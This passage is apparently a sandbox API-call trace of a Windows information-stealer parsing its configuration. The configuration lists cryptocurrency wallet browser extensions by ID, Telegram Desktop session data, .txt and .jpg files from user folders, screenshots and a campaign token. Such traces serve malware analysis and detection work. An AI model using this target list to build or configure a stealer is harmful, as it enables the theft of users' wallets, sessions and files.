Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 809 [0260.840] LocalAlloc (uFlags=0x40, uBytes=0x652) returned 0x6b9720 [0260.840] lstrlenW (lpString="ews_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 809 [0260.840] LocalAlloc (uFlags=0x40, uBytes=0x652) returned 0x6b9d80 [0260.841] lstrlenW (lpString="ews_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 809 [0260.841] LocalAlloc (uFlags=0x40, uBytes=0x652) returned 0x6ba3e0 [0260.841] StrStrW (lpFirst="ews_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.841] lstrlenW (lpString="ews_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 809 [0260.841] LocalAlloc (uFlags=0x40, uBytes=0x6d2) returned 0x6baa40 [0260.841] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.841] LocalFree (hMem=0x6baa40) returned 0x0 [0260.841] StrStrW (lpFirst="ews_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.841] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.842] LocalFree (hMem=0x6b9720) returned 0x0 [0260.842] LocalFree (hMem=0x6b9d80) returned 0x0 [0260.842] LocalFree (hMem=0x6ba3e0) returned 0x0 [0260.842] StrStrW (lpFirst="ews_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.842] lstrlenW (lpString="ews_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 731 [0260.842] lstrlenW (lpString="ews_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 731 [0260.842] LocalAlloc (uFlags=0x40, uBytes=0x5b6) returned 0x6b9720 [0260.842] lstrlenW (lpString="ews_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 731 [0260.843] LocalAlloc (uFlags=0x40, uBytes=0x5b6) returned 0x6b9ce0 [0260.843] lstrlenW (lpString="ews_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 731 [0260.843] LocalAlloc (uFlags=0x40, uBytes=0x5b6) returned 0x6ba2a0 [0260.843] StrStrW (lpFirst="ews_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.843] lstrlenW (lpString="ews_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 731 [0260.843] LocalAlloc (uFlags=0x40, uBytes=0x636) returned 0x6ba860 [0260.843] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.843] LocalFree (hMem=0x6ba860) returned 0x0 [0260.843] StrStrW (lpFirst="ews_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.843] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.844] LocalFree (hMem=0x6b9720) returned 0x0 [0260.844] LocalFree (hMem=0x6b9ce0) returned 0x0 [0260.844] LocalFree (hMem=0x6ba2a0) returned 0x0 [0260.844] StrStrW (lpFirst="ews_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.844] lstrlenW (lpString="ews_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 648 [0260.844] lstrlenW (lpString="ews_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 648 [0260.844] LocalAlloc (uFlags=0x40, uBytes=0x510) returned 0x6b9720 [0260.844] lstrlenW (lpString="ews_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 648 [0260.844] LocalAlloc (uFlags=0x40, uBytes=0x510) returned 0x6b9c38 [0260.844] lstrlenW (lpString="ews_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 648 [0260.844] LocalAlloc (uFlags=0x40, uBytes=0x510) returned 0x6ba150 [0260.845] StrStrW (lpFirst="ews_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.845] lstrlenW (lpString="ews_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 648 [0260.845] LocalAlloc (uFlags=0x40, uBytes=0x590) returned 0x6ba668 [0260.845] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.845] LocalFree (hMem=0x6ba668) returned 0x0 [0260.845] StrStrW (lpFirst="ews_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") 